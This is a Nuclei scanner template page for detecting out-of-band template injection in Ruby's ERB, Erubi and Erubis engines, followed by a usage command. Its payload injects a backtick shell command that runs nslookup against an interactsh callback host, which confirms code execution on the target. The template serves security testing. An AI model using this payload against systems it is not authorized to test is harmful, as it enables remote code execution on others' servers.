Skip to content

Erb OR Erubi OR Erubis - Out of Band Template Injection

ID: erb-erubi-erubis-oob

Severity: high

Author: 0xAwali,DhiyaneshDK

Tags: ssti,dast,oast,oob

id: erb-erubi-erubis-oob
info:
name: Erb OR Erubi OR Erubis - Out of Band Template Injection
author: 0xAwali,DhiyaneshDK
severity: high
reference:
- https://rubygems.org/gems/erb
- https://rubygems.org/gems/erubis
- https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
metadata:
verified: true
tags: ssti,dast,oast,oob
http:
- pre-condition:
- type: dsl
dsl:
- 'method == "GET"'
payloads:
injection:
- '<%25%3d(`nslookup+-type=SRV+{{interactsh-url}}`)%25>'
fuzzing:
- part: query
type: postfix
mode: single
fuzz:
- "{{injection}}"
matchers:
- type: dsl
name: request-matcher
dsl:
- "contains(interactsh_protocol,'dns')"
- "contains(interactsh_request,'srv')"
condition: and
# digest: 4b0a00483046022100d44112e878992334eff0e56d4b681cad181cd69eaa33f85809d784cc3ee25c91022100d86622b20f85ffa938c2954e23f4448a916656cae030e00718ac30c7275d4c1d:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/ssti/oob/erb-erubi-erubis-oob.yaml"

View on Github